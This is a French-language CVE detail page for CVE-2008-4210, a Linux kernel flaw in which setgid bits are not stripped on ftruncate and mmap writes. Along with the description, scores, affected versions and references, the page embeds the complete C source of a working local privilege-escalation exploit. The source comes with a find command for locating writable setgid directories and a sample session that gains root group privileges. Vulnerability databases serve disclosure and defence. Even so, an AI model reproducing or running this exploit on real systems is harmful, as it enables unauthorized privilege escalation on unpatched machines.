CVE-2008-4210 : Détail

CVE-2008-4210

A01-Broken Access Control
16.26%V4
Local
2008-09-29
15h00 +00:00
2017-09-28
10h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

fs/open.c in the Linux kernel before 2.6.22 does not properly strip setuid and setgid bits when there is a write to a file, which allows local users to gain the privileges of a different group, and obtain sensitive information or possibly have unspecified other impact, by creating an executable file in a setgid directory through the (1) truncate or (2) ftruncate function in conjunction with memory-mapped I/O.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 6851

Date de publication : 2008-10-26 23h00 +00:00
Auteur : gat3way
EDB Vérifié : Yes

/* gw-ftrex.c: Linux kernel < 2.6.22 open/ftruncate local exploit by <gat3way at gat3way dot eu> bug information: http://osvdb.org/49081 !!!This is for educational purposes only!!! To use it, you've got to find a sgid directory you've got permissions to write into (obviously world-writable), e.g: find / -perm -2000 -type d 2>/dev/null|xargs ls -ld|grep "rwx" which fortunately is not common those days :) And also a shell that does not drop sgid privs upon execution (like ash/sash). E.g: test:/fileserver/samba$ ls -ld drwxrwsrwx 2 root root 4096 2008-10-27 16:27. test:/fileserver/samba$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) test:/fileserver/samba$ /tmp/gw-ftrex ash shell found! size=80200 We're evil evil evil! $ id uid=33(www-data) gid=33(www-data) egid=0(root) groups=33(www-data) Trqbva da kaja neshto umno kato zakliuchenie...ma sega ne moga da se setia. */ #include <unistd.h> #include <sys/types.h> #include <sys/mman.h> #include <fcntl.h> int main(int argc, char *argv[]) { char *buf=malloc(3096*1024); //3mb just to be sure int a,len; int fd,fd1; char *buf1; int shell=0; if (stat("/bin/ash",buf)==0) { printf("ash shell found!\n"); shell=1; } if (shell==0) if (stat("/bin/sash",buf)==0) { printf("sash shell found!\n"); shell=1; } if (shell==0) { printf("no suitable shell found (one that does not drop sgid permissions) :(\n"); exit(2); } len=0; if (shell==1) fd=open("/bin/ash",O_RDONLY); if (shell==2) fd=open("/bin/sash",O_RDONLY); while (read(fd,buf+len,1)) len++; printf("size=%d\n",len); fd1=open(".evilsploit",O_RDWR | O_CREAT | O_EXCL, 02750); ftruncate(fd1, len); buf1 = mmap(NULL, len, PROT_WRITE | PROT_EXEC, MAP_SHARED, fd1, 0); memcpy(buf1,buf,len); munmap(buf1,len); close(fd1);close(fd); free(buf); printf("We're evil evil evil!\n\n"); execv(".evilsploit", NULL); } // milw0rm.com [2008-10-27]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.21.7

Linux>>Linux_kernel >> Version 2.2.27

Linux>>Linux_kernel >> Version 2.4.36

Linux>>Linux_kernel >> Version 2.4.36.1

Linux>>Linux_kernel >> Version 2.4.36.2

Linux>>Linux_kernel >> Version 2.4.36.3

Linux>>Linux_kernel >> Version 2.4.36.4

Linux>>Linux_kernel >> Version 2.4.36.5

Linux>>Linux_kernel >> Version 2.4.36.6

Linux>>Linux_kernel >> Version 2.6

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.19.4

Linux>>Linux_kernel >> Version 2.6.19.5

Linux>>Linux_kernel >> Version 2.6.19.6

Linux>>Linux_kernel >> Version 2.6.19.7

Linux>>Linux_kernel >> Version 2.6.20.16

Linux>>Linux_kernel >> Version 2.6.20.17

Linux>>Linux_kernel >> Version 2.6.20.18

Linux>>Linux_kernel >> Version 2.6.20.19

Linux>>Linux_kernel >> Version 2.6.20.20

Linux>>Linux_kernel >> Version 2.6.20.21

Linux>>Linux_kernel >> Version 2.6.21.5

Linux>>Linux_kernel >> Version 2.6.21.6

Références

http://secunia.com/advisories/32485
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/31368
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/32237
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2008-0957.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2008-0972.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.openwall.com/lists/oss-security/2008/09/24/8
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/33280
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2008/dsa-1653
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.openwall.com/lists/oss-security/2008/09/24/5
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/32356
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/32918
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/usn-679-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/32759
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDVSA-2008:220
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/32344
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2008-0973.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.redhat.com/support/errata/RHSA-2008-0787.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/32799
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/33201
Tags : third-party-advisory, x_refsource_SECUNIA